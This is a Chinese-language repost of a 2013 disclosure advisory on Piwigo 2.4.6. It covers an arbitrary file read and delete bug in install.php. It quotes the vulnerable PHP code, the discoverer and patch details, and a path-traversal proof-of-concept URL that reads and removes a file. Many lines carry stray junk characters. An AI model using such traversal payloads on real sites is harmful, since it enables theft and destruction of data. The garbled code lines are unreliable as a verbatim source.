Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。
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Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
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113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
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. }* m- Q* r' I/ c7 B' c115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
2 t# h3 j1 G, e  p( j' ?6 E- E3 W116:   header('Cache-Control: no-cache, must-revalidate');
117:   header('Pragma: no-cache');
: k% @) o: D0 U! t118:   header('Content-Disposition: attachment; filename="database.inc.php"');
119:   header('Content-Transfer-Encoding: binary');
0 g' F& m: ^, ?# `1 z120:   header('Content-Length: '.filesize($filename));
, K; i& v* |* D5 U1 a$ k121:   echo file_get_contents($filename);
) O2 J8 A4 B$ N2 W3 ?122:   unlink($filename);
123:   exit();
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' {9 {, S) I5 s$ \0 I' _; F! {====================================================================
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% z% M+ E, [. m7 g% P5 ]Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
1 [- z% f) r: x- w           Apache 2.4.2 (Win32)
7 b" r; S) n( \" `4 ^           PHP 5.4.4
           MySQL 5.5.25a
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! F( r1 N& ?1 c; cVulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience
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Advisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
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+ `# t6 u7 I' b9 G# T( p15.02.2013
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http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
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